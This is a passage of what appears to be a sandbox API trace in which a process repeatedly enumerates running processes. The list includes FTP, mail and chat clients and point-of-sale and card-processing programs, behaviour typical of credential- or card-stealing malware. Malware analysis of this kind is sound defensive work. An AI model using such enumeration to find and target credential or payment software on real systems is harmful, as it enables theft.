[0238.764] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0238.767] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.770] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0238.773] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0238.775] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0238.777] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0238.782] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0238.784] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0238.786] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0238.788] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0238.791] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0238.792] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0238.794] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0238.795] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0238.797] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0238.832] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0238.835] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0238.837] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0238.840] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0238.842] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0238.844] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0238.845] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0238.847] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0238.849] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0238.850] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0238.853] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0238.855] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0238.857] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0238.859] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0238.861] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0238.863] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0238.866] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0238.868] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0238.870] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0238.872] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0238.874] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0238.876] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0238.878] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0238.880] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0238.882] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0238.884] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0238.886] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0238.888] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0238.890] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0238.892] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0238.895] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0238.899] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0238.901] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0238.903] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0238.905] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0238.907] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0238.909] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0238.911] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0238.913] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0238.915] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0238.918] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0238.920] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0238.921] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0238.923] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0238.925] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0238.927] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0238.929] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0238.931] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0238.933] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0238.935] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0238.936] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0238.971] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0238.973] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0238.975] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0238.977] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0238.979] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0238.981] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0238.988] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0238.990] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0238.991] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0238.993] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0238.995] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 0 [0238.998] CloseHandle (hObject=0x21ec) returned 1 [0238.998] Sleep (dwMilliseconds=0x64) [0239.000] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21ec [0239.014] Process32First (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0239.017] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0239.019] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0239.021] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0239.023] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0239.027] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, 